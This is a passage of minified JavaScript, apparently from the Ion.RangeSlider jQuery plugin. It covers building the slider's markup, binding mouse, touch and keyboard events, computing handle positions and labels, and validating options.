grid:c.data("grid"),grid_margin:c.data("gridMargin"),grid_num:c.data("gridNum"),grid_snap:c.data("gridSnap"),hide_min_max:c.data("hideMinMax"),hide_from_to:c.data("hideFromTo"),prefix:c.data("prefix"),postfix:c.data("postfix"),max_postfix:c.data("maxPostfix"),decorate_both:c.data("decorateBoth"),values_separator:c.data("valuesSeparator"),input_values_separator:c.data("inputValuesSeparator"),disable:c.data("disable"),block:c.data("block"),extra_classes:c.data("extraClasses")};c.values=c.values&&c.values.split(",");
for(e in c)c.hasOwnProperty(e)&&(c[e]!==p&&""!==c[e]||delete c[e]);a!==p&&""!==a&&(a=a.split(c.input_values_separator||b.input_values_separator||";"),a[0]&&a[0]==+a[0]&&(a[0]=+a[0]),a[1]&&a[1]==+a[1]&&(a[1]=+a[1]),b&&b.values&&b.values.length?(d.from=a[0]&&b.values.indexOf(a[0]),d.to=a[1]&&b.values.indexOf(a[1])):(d.from=a[0]&&+a[0],d.to=a[1]&&+a[1]));f.extend(d,b);f.extend(d,c);this.options=d;this.update_check={};this.validate();this.result={input:this.$cache.input,slider:null,min:this.options.min,
max:this.options.max,from:this.options.from,from_percent:0,from_value:null,to:this.options.to,to_percent:0,to_value:null};this.init()};q.prototype={init:function(a){this.no_diapason=!1;this.coords.p_step=this.convertToPercent(this.options.step,!0);this.target="base";this.toggleInput();this.append();this.setMinMax();a?(this.force_redraw=!0,this.calc(!0),this.callOnUpdate()):(this.force_redraw=!0,this.calc(!0),this.callOnStart());this.updateScene()},append:function(){this.$cache.input.before('<span class="irs js-irs-'+
this.plugin_count+" "+this.options.extra_classes+'"></span>');this.$cache.input.prop("readonly",!0);this.$cache.cont=this.$cache.input.prev();this.result.slider=this.$cache.cont;this.$cache.cont.html('<span class="irs"><span class="irs-line" tabindex="0"><span class="irs-line-left"></span><span class="irs-line-mid"></span><span class="irs-line-right"></span></span><span class="irs-min">0</span><span class="irs-max">1</span><span class="irs-from">0</span><span class="irs-to">0</span><span class="irs-single">0</span></span><span class="irs-grid"></span><span class="irs-bar"></span>');
this.$cache.rs=this.$cache.cont.find(".irs");this.$cache.min=this.$cache.cont.find(".irs-min");this.$cache.max=this.$cache.cont.find(".irs-max");this.$cache.from=this.$cache.cont.find(".irs-from");this.$cache.to=this.$cache.cont.find(".irs-to");this.$cache.single=this.$cache.cont.find(".irs-single");this.$cache.bar=this.$cache.cont.find(".irs-bar");this.$cache.line=this.$cache.cont.find(".irs-line");this.$cache.grid=this.$cache.cont.find(".irs-grid");"single"===this.options.type?(this.$cache.cont.append('<span class="irs-bar-edge"></span><span class="irs-shadow shadow-single"></span><span class="irs-slider single"></span>'),
this.$cache.edge=this.$cache.cont.find(".irs-bar-edge"),this.$cache.s_single=this.$cache.cont.find(".single"),this.$cache.from[0].style.visibility="hidden",this.$cache.to[0].style.visibility="hidden",this.$cache.shad_single=this.$cache.cont.find(".shadow-single")):(this.$cache.cont.append('<span class="irs-shadow shadow-from"></span><span class="irs-shadow shadow-to"></span><span class="irs-slider from"></span><span class="irs-slider to"></span>'),this.$cache.s_from=this.$cache.cont.find(".from"),
this.$cache.s_to=this.$cache.cont.find(".to"),this.$cache.shad_from=this.$cache.cont.find(".shadow-from"),this.$cache.shad_to=this.$cache.cont.find(".shadow-to"),this.setTopHandler());this.options.hide_from_to&&(this.$cache.from[0].style.display="none",this.$cache.to[0].style.display="none",this.$cache.single[0].style.display="none");this.appendGrid();this.options.disable?(this.appendDisableMask(),this.$cache.input[0].disabled=!0):(this.$cache.input[0].disabled=!1,this.removeDisableMask(),this.bindEvents());
this.options.disable||(this.options.block?this.appendDisableMask():this.removeDisableMask());this.options.drag_interval&&(this.$cache.bar[0].style.cursor="ew-resize")},setTopHandler:function(){var a=this.options.max,b=this.options.to;this.options.from>this.options.min&&b===a?this.$cache.s_from.addClass("type_last"):b<a&&this.$cache.s_to.addClass("type_last")},changeLevel:function(a){switch(a){case "single":this.coords.p_gap=this.toFixed(this.coords.p_pointer-this.coords.p_single_fake);this.$cache.s_single.addClass("state_hover");
break;case "from":this.coords.p_gap=this.toFixed(this.coords.p_pointer-this.coords.p_from_fake);this.$cache.s_from.addClass("state_hover");this.$cache.s_from.addClass("type_last");this.$cache.s_to.removeClass("type_last");break;case "to":this.coords.p_gap=this.toFixed(this.coords.p_pointer-this.coords.p_to_fake);this.$cache.s_to.addClass("state_hover");this.$cache.s_to.addClass("type_last");this.$cache.s_from.removeClass("type_last");break;case "both":this.coords.p_gap_left=this.toFixed(this.coords.p_pointer-
this.coords.p_from_fake),this.coords.p_gap_right=this.toFixed(this.coords.p_to_fake-this.coords.p_pointer),this.$cache.s_to.removeClass("type_last"),this.$cache.s_from.removeClass("type_last")}},appendDisableMask:function(){this.$cache.cont.append('<span class="irs-disable-mask"></span>');this.$cache.cont.addClass("irs-disabled")},removeDisableMask:function(){this.$cache.cont.remove(".irs-disable-mask");this.$cache.cont.removeClass("irs-disabled")},remove:function(){this.$cache.cont.remove();this.$cache.cont=
null;this.$cache.line.off("keydown.irs_"+this.plugin_count);this.$cache.body.off("touchmove.irs_"+this.plugin_count);this.$cache.body.off("mousemove.irs_"+this.plugin_count);this.$cache.win.off("touchend.irs_"+this.plugin_count);this.$cache.win.off("mouseup.irs_"+this.plugin_count);m&&(this.$cache.body.off("mouseup.irs_"+this.plugin_count),this.$cache.body.off("mouseleave.irs_"+this.plugin_count));this.$cache.grid_labels=[];this.coords.big=[];this.coords.big_w=[];this.coords.big_p=[];this.coords.big_x=
[];cancelAnimationFrame(this.raf_id)},bindEvents:function(){if(!this.no_diapason){this.$cache.body.on("touchmove.irs_"+this.plugin_count,this.pointerMove.bind(this));this.$cache.body.on("mousemove.irs_"+this.plugin_count,this.pointerMove.bind(this));this.$cache.win.on("touchend.irs_"+this.plugin_count,this.pointerUp.bind(this));this.$cache.win.on("mouseup.irs_"+this.plugin_count,this.pointerUp.bind(this));this.$cache.line.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click"));
this.$cache.line.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click"));this.$cache.line.on("focus.irs_"+this.plugin_count,this.pointerFocus.bind(this));this.options.drag_interval&&"double"===this.options.type?(this.$cache.bar.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"both")),this.$cache.bar.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"both"))):(this.$cache.bar.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),
this.$cache.bar.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")));"single"===this.options.type?(this.$cache.single.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"single")),this.$cache.s_single.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"single")),this.$cache.shad_single.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.single.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,
"single")),this.$cache.s_single.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"single")),this.$cache.edge.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.shad_single.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click"))):(this.$cache.single.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,null)),this.$cache.single.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,null)),this.$cache.from.on("touchstart.irs_"+
this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.s_from.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.to.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.s_to.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.shad_from.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.shad_to.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,
"click")),this.$cache.from.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.s_from.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.to.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.s_to.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.shad_from.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.shad_to.on("mousedown.irs_"+
this.plugin_count,this.pointerClick.bind(this,"click")));if(this.options.keyboard)this.$cache.line.on("keydown.irs_"+this.plugin_count,this.key.bind(this,"keyboard"));m&&(this.$cache.body.on("mouseup.irs_"+this.plugin_count,this.pointerUp.bind(this)),this.$cache.body.on("mouseleave.irs_"+this.plugin_count,this.pointerUp.bind(this)))}},pointerFocus:function(a){if(!this.target){var b="single"===this.options.type?this.$cache.single:this.$cache.from;a=b.offset().left;a+=b.width()/2-1;this.pointerClick("single",
{preventDefault:function(){},pageX:a})}},pointerMove:function(a){this.dragging&&(this.coords.x_pointer=(a.pageX||a.originalEvent.touches&&a.originalEvent.touches[0].pageX)-this.coords.x_gap,this.calc())},pointerUp:function(a){this.current_plugin===this.plugin_count&&this.is_active&&(this.is_active=!1,this.$cache.cont.find(".state_hover").removeClass("state_hover"),this.force_redraw=!0,m&&f("*").prop("unselectable",!1),this.updateScene(),this.restoreOriginalMinInterval(),(f.contains(this.$cache.cont[0],
a.target)||this.dragging)&&this.callOnFinish(),this.dragging=!1)},pointerDown:function(a,b){b.preventDefault();var d=b.pageX||b.originalEvent.touches&&b.originalEvent.touches[0].pageX;2!==b.button&&("both"===a&&this.setTempMinInterval(),a||(a=this.target||"from"),this.current_plugin=this.plugin_count,this.target=a,this.dragging=this.is_active=!0,this.coords.x_gap=this.$cache.rs.offset().left,this.coords.x_pointer=d-this.coords.x_gap,this.calcPointerPercent(),this.changeLevel(a),m&&f("*").prop("unselectable",
!0),this.$cache.line.trigger("focus"),this.updateScene())},pointerClick:function(a,b){b.preventDefault();var d=b.pageX||b.originalEvent.touches&&b.originalEvent.touches[0].pageX;2!==b.button&&(this.current_plugin=this.plugin_count,this.target=a,this.is_click=!0,this.coords.x_gap=this.$cache.rs.offset().left,this.coords.x_pointer=+(d-this.coords.x_gap).toFixed(),this.force_redraw=!0,this.calc(),this.$cache.line.trigger("focus"))},key:function(a,b){if(!(this.current_plugin!==this.plugin_count||b.altKey||
b.ctrlKey||b.shiftKey||b.metaKey)){switch(b.which){case 83:case 65:case 40:case 37:b.preventDefault();this.moveByKey(!1);break;case 87:case 68:case 38:case 39:b.preventDefault(),this.moveByKey(!0)}return!0}},moveByKey:function(a){var b=this.coords.p_pointer,d=(this.options.max-this.options.min)/100,d=this.options.step/d;this.coords.x_pointer=this.toFixed(this.coords.w_rs/100*(a?b+d:b-d));this.is_key=!0;this.calc()},setMinMax:function(){if(this.options)if(this.options.hide_min_max)this.$cache.min[0].style.display=
"none",this.$cache.max[0].style.display="none";else{if(this.options.values.length)this.$cache.min.html(this.decorate(this.options.p_values[this.options.min])),this.$cache.max.html(this.decorate(this.options.p_values[this.options.max]));else{var a=this._prettify(this.options.min),b=this._prettify(this.options.max);this.result.min_pretty=a;this.result.max_pretty=b;this.$cache.min.html(this.decorate(a,this.options.min));this.$cache.max.html(this.decorate(b,this.options.max))}this.labels.w_min=this.$cache.min.outerWidth(!1);
this.labels.w_max=this.$cache.max.outerWidth(!1)}},setTempMinInterval:function(){var a=this.result.to-this.result.from;null===this.old_min_interval&&(this.old_min_interval=this.options.min_interval);this.options.min_interval=a},restoreOriginalMinInterval:function(){null!==this.old_min_interval&&(this.options.min_interval=this.old_min_interval,this.old_min_interval=null)},calc:function(a){if(this.options){this.calc_count++;if(10===this.calc_count||a)this.calc_count=0,this.coords.w_rs=this.$cache.rs.outerWidth(!1),
this.calcHandlePercent();if(this.coords.w_rs){this.calcPointerPercent();a=this.getHandleX();"both"===this.target&&(this.coords.p_gap=0,a=this.getHandleX());"click"===this.target&&(this.coords.p_gap=this.coords.p_handle/2,a=this.getHandleX(),this.target=this.options.drag_interval?"both_one":this.chooseHandle(a));switch(this.target){case "base":var b=(this.options.max-this.options.min)/100;a=(this.result.from-this.options.min)/b;b=(this.result.to-this.options.min)/b;this.coords.p_single_real=this.toFixed(a);
this.coords.p_from_real=this.toFixed(a);this.coords.p_to_real=this.toFixed(b);this.coords.p_single_real=this.checkDiapason(this.coords.p_single_real,this.options.from_min,this.options.from_max);this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,this.options.from_min,this.options.from_max);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,this.options.to_max);this.coords.p_single_fake=this.convertToFakePercent(this.coords.p_single_real);this.coords.p_from_fake=
this.convertToFakePercent(this.coords.p_from_real);this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real);this.target=null;break;case "single":if(this.options.from_fixed)break;this.coords.p_single_real=this.convertToRealPercent(a);this.coords.p_single_real=this.calcWithStep(this.coords.p_single_real);this.coords.p_single_real=this.checkDiapason(this.coords.p_single_real,this.options.from_min,this.options.from_max);this.coords.p_single_fake=this.convertToFakePercent(this.coords.p_single_real);
break;case "from":if(this.options.from_fixed)break;this.coords.p_from_real=this.convertToRealPercent(a);this.coords.p_from_real=this.calcWithStep(this.coords.p_from_real);this.coords.p_from_real>this.coords.p_to_real&&(this.coords.p_from_real=this.coords.p_to_real);this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,this.options.from_min,this.options.from_max);this.coords.p_from_real=this.checkMinInterval(this.coords.p_from_real,this.coords.p_to_real,"from");this.coords.p_from_real=
this.checkMaxInterval(this.coords.p_from_real,this.coords.p_to_real,"from");this.coords.p_from_fake=this.convertToFakePercent(this.coords.p_from_real);break;case "to":if(this.options.to_fixed)break;this.coords.p_to_real=this.convertToRealPercent(a);this.coords.p_to_real=this.calcWithStep(this.coords.p_to_real);this.coords.p_to_real<this.coords.p_from_real&&(this.coords.p_to_real=this.coords.p_from_real);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,this.options.to_max);
this.coords.p_to_real=this.checkMinInterval(this.coords.p_to_real,this.coords.p_from_real,"to");this.coords.p_to_real=this.checkMaxInterval(this.coords.p_to_real,this.coords.p_from_real,"to");this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real);break;case "both":if(this.options.from_fixed||this.options.to_fixed)break;a=this.toFixed(a+.001*this.coords.p_handle);this.coords.p_from_real=this.convertToRealPercent(a)-this.coords.p_gap_left;this.coords.p_from_real=this.calcWithStep(this.coords.p_from_real);
this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,this.options.from_min,this.options.from_max);this.coords.p_from_real=this.checkMinInterval(this.coords.p_from_real,this.coords.p_to_real,"from");this.coords.p_from_fake=this.convertToFakePercent(this.coords.p_from_real);this.coords.p_to_real=this.convertToRealPercent(a)+this.coords.p_gap_right;this.coords.p_to_real=this.calcWithStep(this.coords.p_to_real);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,
this.options.to_max);this.coords.p_to_real=this.checkMinInterval(this.coords.p_to_real,this.coords.p_from_real,"to");this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real);break;case "both_one":if(!this.options.from_fixed&&!this.options.to_fixed){var d=this.convertToRealPercent(a);a=this.result.to_percent-this.result.from_percent;var c=a/2,b=d-c,d=d+c;0>b&&(b=0,d=b+a);100<d&&(d=100,b=d-a);this.coords.p_from_real=this.calcWithStep(b);this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,
this.options.from_min,this.options.from_max);this.coords.p_from_fake=this.convertToFakePercent(this.coords.p_from_real);this.coords.p_to_real=this.calcWithStep(d);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,this.options.to_max);this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real)}}"single"===this.options.type?(this.coords.p_bar_x=this.coords.p_handle/2,this.coords.p_bar_w=this.coords.p_single_fake,this.result.from_percent=this.coords.p_single_real,
this.result.from=this.convertToValue(this.coords.p_single_real),this.result.from_pretty=this._prettify(this.result.from),this.options.values.length&&(this.result.from_value=this.options.values[this.result.from])):(this.coords.p_bar_x=this.toFixed(this.coords.p_from_fake+this.coords.p_handle/2),this.coords.p_bar_w=this.toFixed(this.coords.p_to_fake-this.coords.p_from_fake),this.result.from_percent=this.coords.p_from_real,this.result.from=this.convertToValue(this.coords.p_from_real),this.result.from_pretty=
this._prettify(this.result.from),this.result.to_percent=this.coords.p_to_real,this.result.to=this.convertToValue(this.coords.p_to_real),this.result.to_pretty=this._prettify(this.result.to),this.options.values.length&&(this.result.from_value=this.options.values[this.result.from],this.result.to_value=this.options.values[this.result.to]));this.calcMinMax();this.calcLabels()}}},calcPointerPercent:function(){this.coords.w_rs?(0>this.coords.x_pointer||isNaN(this.coords.x_pointer)?this.coords.x_pointer=
0:this.coords.x_pointer>this.coords.w_rs&&(this.coords.x_pointer=this.coords.w_rs),this.coords.p_pointer=this.toFixed(this.coords.x_pointer/this.coords.w_rs*100)):this.coords.p_pointer=0},convertToRealPercent:function(a){return a/(100-this.coords.p_handle)*100},convertToFakePercent:function(a){return a/100*(100-this.coords.p_handle)},getHandleX:function(){var a=100-this.coords.p_handle,b=this.toFixed(this.coords.p_pointer-this.coords.p_gap);0>b?b=0:b>a&&(b=a);return b},calcHandlePercent:function(){this.coords.w_handle=
"single"===this.options.type?this.$cache.s_single.outerWidth(!1):this.$cache.s_from.outerWidth(!1);this.coords.p_handle=this.toFixed(this.coords.w_handle/this.coords.w_rs*100)},chooseHandle:function(a){return"single"===this.options.type?"single":a>=this.coords.p_from_real+(this.coords.p_to_real-this.coords.p_from_real)/2?this.options.to_fixed?"from":"to":this.options.from_fixed?"to":"from"},calcMinMax:function(){this.coords.w_rs&&(this.labels.p_min=this.labels.w_min/this.coords.w_rs*100,this.labels.p_max=
this.labels.w_max/this.coords.w_rs*100)},calcLabels:function(){this.coords.w_rs&&!this.options.hide_from_to&&("single"===this.options.type?(this.labels.w_single=this.$cache.single.outerWidth(!1),this.labels.p_single_fake=this.labels.w_single/this.coords.w_rs*100,this.labels.p_single_left=this.coords.p_single_fake+this.coords.p_handle/2-this.labels.p_single_fake/2):(this.labels.w_from=this.$cache.from.outerWidth(!1),this.labels.p_from_fake=this.labels.w_from/this.coords.w_rs*100,this.labels.p_from_left=
this.coords.p_from_fake+this.coords.p_handle/2-this.labels.p_from_fake/2,this.labels.p_from_left=this.toFixed(this.labels.p_from_left),this.labels.p_from_left=this.checkEdges(this.labels.p_from_left,this.labels.p_from_fake),this.labels.w_to=this.$cache.to.outerWidth(!1),this.labels.p_to_fake=this.labels.w_to/this.coords.w_rs*100,this.labels.p_to_left=this.coords.p_to_fake+this.coords.p_handle/2-this.labels.p_to_fake/2,this.labels.p_to_left=this.toFixed(this.labels.p_to_left),this.labels.p_to_left=
this.checkEdges(this.labels.p_to_left,this.labels.p_to_fake),this.labels.w_single=this.$cache.single.outerWidth(!1),this.labels.p_single_fake=this.labels.w_single/this.coords.w_rs*100,this.labels.p_single_left=(this.labels.p_from_left+this.labels.p_to_left+this.labels.p_to_fake)/2-this.labels.p_single_fake/2,this.labels.p_single_left=this.toFixed(this.labels.p_single_left)),this.labels.p_single_left=this.checkEdges(this.labels.p_single_left,this.labels.p_single_fake))},updateScene:function(){this.raf_id&&
(cancelAnimationFrame(this.raf_id),this.raf_id=null);clearTimeout(this.update_tm);this.update_tm=null;this.options&&(this.drawHandles(),this.is_active?this.raf_id=requestAnimationFrame(this.updateScene.bind(this)):this.update_tm=setTimeout(this.updateScene.bind(this),300))},drawHandles:function(){this.coords.w_rs=this.$cache.rs.outerWidth(!1);if(this.coords.w_rs){this.coords.w_rs!==this.coords.w_rs_old&&(this.target="base",this.is_resize=!0);if(this.coords.w_rs!==this.coords.w_rs_old||this.force_redraw)this.setMinMax(),
this.calc(!0),this.drawLabels(),this.options.grid&&(this.calcGridMargin(),this.calcGridLabels()),this.force_redraw=!0,this.coords.w_rs_old=this.coords.w_rs,this.drawShadow();if(this.coords.w_rs&&(this.dragging||this.force_redraw||this.is_key)){if(this.old_from!==this.result.from||this.old_to!==this.result.to||this.force_redraw||this.is_key){this.drawLabels();this.$cache.bar[0].style.left=this.coords.p_bar_x+"%";this.$cache.bar[0].style.width=this.coords.p_bar_w+"%";if("single"===this.options.type)this.$cache.s_single[0].style.left=
this.coords.p_single_fake+"%";else{this.$cache.s_from[0].style.left=this.coords.p_from_fake+"%";this.$cache.s_to[0].style.left=this.coords.p_to_fake+"%";if(this.old_from!==this.result.from||this.force_redraw)this.$cache.from[0].style.left=this.labels.p_from_left+"%";if(this.old_to!==this.result.to||this.force_redraw)this.$cache.to[0].style.left=this.labels.p_to_left+"%"}this.$cache.single[0].style.left=this.labels.p_single_left+"%";this.writeToInput();this.old_from===this.result.from&&this.old_to===
this.result.to||this.is_start||(this.$cache.input.trigger("change"),this.$cache.input.trigger("input"));this.old_from=this.result.from;this.old_to=this.result.to;this.is_resize||this.is_update||this.is_start||this.is_finish||this.callOnChange();if(this.is_key||this.is_click)this.is_click=this.is_key=!1,this.callOnFinish();this.is_finish=this.is_resize=this.is_update=!1}this.force_redraw=this.is_click=this.is_key=this.is_start=!1}}},drawLabels:function(){if(this.options){var a=this.options.values.length,
b=this.options.p_values;if(!this.options.hide_from_to)if("single"===this.options.type){if(a)a=this.decorate(b[this.result.from]);else{var d=this._prettify(this.result.from);a=this.decorate(d,this.result.from)}this.$cache.single.html(a);this.calcLabels();this.$cache.min[0].style.visibility=this.labels.p_single_left<this.labels.p_min+1?"hidden":"visible";this.$cache.max[0].style.visibility=this.labels.p_single_left+this.labels.p_single_fake>100-this.labels.p_max-1?"hidden":"visible"}else{a?(this.options.decorate_both?
(a=this.decorate(b[this.result.from]),a+=this.options.values_separator,a+=this.decorate(b[this.result.to])):a=this.decorate(b[this.result.from]+this.options.values_separator+b[this.result.to]),d=this.decorate(b[this.result.from]),b=this.decorate(b[this.result.to])):(d=this._prettify(this.result.from),b=this._prettify(this.result.to),this.options.decorate_both?(a=this.decorate(d,this.result.from),a+=this.options.values_separator,a+=this.decorate(b,this.result.to)):a=this.decorate(d+this.options.values_separator+
b,this.result.to),d=this.decorate(d,this.result.from),b=this.decorate(b,this.result.to));this.$cache.single.html(a);this.$cache.from.html(d);this.$cache.to.html(b);this.calcLabels();a=Math.min(this.labels.p_single_left,this.labels.p_from_left);d=this.labels.p_single_left+this.labels.p_single_fake;var b=this.labels.p_to_left+this.labels.p_to_fake,c=Math.max(d,b);this.labels.p_from_left+this.labels.p_from_fake>=this.labels.p_to_left?(this.$cache.from[0].style.visibility="hidden",this.$cache.to[0].style.visibility=
"hidden",this.$cache.single[0].style.visibility="visible",this.result.from===this.result.to?("from"===this.target?this.$cache.from[0].style.visibility="visible":"to"===this.target?this.$cache.to[0].style.visibility="visible":this.target||(this.$cache.from[0].style.visibility="visible"),this.$cache.single[0].style.visibility="hidden",c=b):(this.$cache.from[0].style.visibility="hidden",this.$cache.to[0].style.visibility="hidden",this.$cache.single[0].style.visibility="visible",c=Math.max(d,b))):(this.$cache.from[0].style.visibility=
"visible",this.$cache.to[0].style.visibility="visible",this.$cache.single[0].style.visibility="hidden");this.$cache.min[0].style.visibility=a<this.labels.p_min+1?"hidden":"visible";this.$cache.max[0].style.visibility=c>100-this.labels.p_max-1?"hidden":"visible"}}},drawShadow:function(){var a=this.options,b=this.$cache,d="number"===typeof a.from_min&&!isNaN(a.from_min),c="number"===typeof a.from_max&&!isNaN(a.from_max),e="number"===typeof a.to_min&&!isNaN(a.to_min),g="number"===typeof a.to_max&&!isNaN(a.to_max);
"single"===a.type?a.from_shadow&&(d||c)?(d=this.convertToPercent(d?a.from_min:a.min),c=this.convertToPercent(c?a.from_max:a.max)-d,d=this.toFixed(d-this.coords.p_handle/100*d),c=this.toFixed(c-this.coords.p_handle/100*c),d+=this.coords.p_handle/2,b.shad_single[0].style.display="block",b.shad_single[0].style.left=d+"%",b.shad_single[0].style.width=c+"%"):b.shad_single[0].style.display="none":(a.from_shadow&&(d||c)?(d=this.convertToPercent(d?a.from_min:a.min),c=this.convertToPercent(c?a.from_max:a.max)-
d,d=this.toFixed(d-this.coords.p_handle/100*d),c=this.toFixed(c-this.coords.p_handle/100*c),d+=this.coords.p_handle/2,b.shad_from[0].style.display="block",b.shad_from[0].style.left=d+"%",b.shad_from[0].style.width=c+"%"):b.shad_from[0].style.display="none",a.to_shadow&&(e||g)?(e=this.convertToPercent(e?a.to_min:a.min),a=this.convertToPercent(g?a.to_max:a.max)-e,e=this.toFixed(e-this.coords.p_handle/100*e),a=this.toFixed(a-this.coords.p_handle/100*a),e+=this.coords.p_handle/2,b.shad_to[0].style.display=
"block",b.shad_to[0].style.left=e+"%",b.shad_to[0].style.width=a+"%"):b.shad_to[0].style.display="none")},writeToInput:function(){"single"===this.options.type?(this.options.values.length?this.$cache.input.prop("value",this.result.from_value):this.$cache.input.prop("value",this.result.from),this.$cache.input.data("from",this.result.from)):(this.options.values.length?this.$cache.input.prop("value",this.result.from_value+this.options.input_values_separator+this.result.to_value):this.$cache.input.prop("value",
this.result.from+this.options.input_values_separator+this.result.to),this.$cache.input.data("from",this.result.from),this.$cache.input.data("to",this.result.to))},callOnStart:function(){this.writeToInput();if(this.options.onStart&&"function"===typeof this.options.onStart)if(this.options.scope)this.options.onStart.call(this.options.scope,this.result);else this.options.onStart(this.result)},callOnChange:function(){this.writeToInput();if(this.options.onChange&&"function"===typeof this.options.onChange)if(this.options.scope)this.options.onChange.call(this.options.scope,
this.result);else this.options.onChange(this.result)},callOnFinish:function(){this.writeToInput();if(this.options.onFinish&&"function"===typeof this.options.onFinish)if(this.options.scope)this.options.onFinish.call(this.options.scope,this.result);else this.options.onFinish(this.result)},callOnUpdate:function(){this.writeToInput();if(this.options.onUpdate&&"function"===typeof this.options.onUpdate)if(this.options.scope)this.options.onUpdate.call(this.options.scope,this.result);else this.options.onUpdate(this.result)},
toggleInput:function(){this.$cache.input.toggleClass("irs-hidden-input");this.has_tab_index?this.$cache.input.prop("tabindex",-1):this.$cache.input.removeProp("tabindex");this.has_tab_index=!this.has_tab_index},convertToPercent:function(a,b){var d=this.options.max-this.options.min;return d?this.toFixed((b?a:a-this.options.min)/(d/100)):(this.no_diapason=!0,0)},convertToValue:function(a){var b=this.options.min,d=this.options.max,c=b.toString().split(".")[1],e=d.toString().split(".")[1],g,l,f=0,h=0;
if(0===a)return this.options.min;if(100===a)return this.options.max;c&&(f=g=c.length);e&&(f=l=e.length);g&&l&&(f=g>=l?g:l);0>b&&(h=Math.abs(b),b=+(b+h).toFixed(f),d=+(d+h).toFixed(f));a=(d-b)/100*a+b;(b=this.options.step.toString().split(".")[1])?a=+a.toFixed(b.length):(a/=this.options.step,a*=this.options.step,a=+a.toFixed(0));h&&(a-=h);h=b?+a.toFixed(b.length):this.toFixed(a);h<this.options.min?h=this.options.min:h>this.options.max&&(h=this.options.max);return h},calcWithStep:function(a){var b=
Math.round(a/this.coords.p_step)*this.coords.p_step;100<b&&(b=100);100===a&&(b=100);return this.toFixed(b)},checkMinInterval:function(a,b,d){var c=this.options;if(!c.min_interval)return a;a=this.convertToValue(a);b=this.convertToValue(b);"from"===d?b-a<c.min_interval&&(a=b-c.min_interval):a-b<c.min_interval&&(a=b+c.min_interval);return this.convertToPercent(a)},checkMaxInterval:function(a,b,d){var c=this.options;if(!c.max_interval)return a;a=this.convertToValue(a);b=this.convertToValue(b);"from"===
d?b-a>c.max_interval&&(a=b-c.max_interval):a-b>c.max_interval&&(a=b+c.max_interval);return this.convertToPercent(a)},checkDiapason:function(a,b,d){a=this.convertToValue(a);var c=this.options;"number"!==typeof b&&(b=c.min);"number"!==typeof d&&(d=c.max);a<b&&(a=b);a>d&&(a=d);return this.convertToPercent(a)},toFixed:function(a){a=a.toFixed(20);return+a},_prettify:function(a){return this.options.prettify_enabled?this.options.prettify&&"function"===typeof this.options.prettify?this.options.prettify(a):
this.prettify(a):a},prettify:function(a){return a.toString().replace(/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/g,"$1"+this.options.prettify_separator)},checkEdges:function(a,b){if(!this.options.force_edges)return this.toFixed(a);0>a?a=0:a>100-b&&(a=100-b);return this.toFixed(a)},validate:function(){var a=this.options,b=this.result,d=a.values,c=d.length,e;"string"===typeof a.min&&(a.min=+a.min);"string"===typeof a.max&&(a.max=+a.max);"string"===typeof a.from&&(a.from=+a.from);"string"===typeof a.to&&(a.to=+a.to);
"string"===typeof a.step&&(a.step=+a.step);"string"===typeof a.from_min&&(a.from_min=+a.from_min);"string"===typeof a.from_max&&(a.from_max=+a.from_max);"string"===typeof a.to_min&&(a.to_min=+a.to_min);"string"===typeof a.to_max&&(a.to_max=+a.to_max);"string"===typeof a.grid_num&&(a.grid_num=+a.grid_num);a.max<a.min&&(a.max=a.min);if(c)for(a.p_values=[],a.min=0,a.max=c-1,a.step=1,a.grid_num=a.max,a.grid_snap=!0,e=0;e<c;e++){var g=+d[e];isNaN(g)?g=d[e]:(d[e]=g,g=this._prettify(g));a.p_values.push(g)}if("number"!==
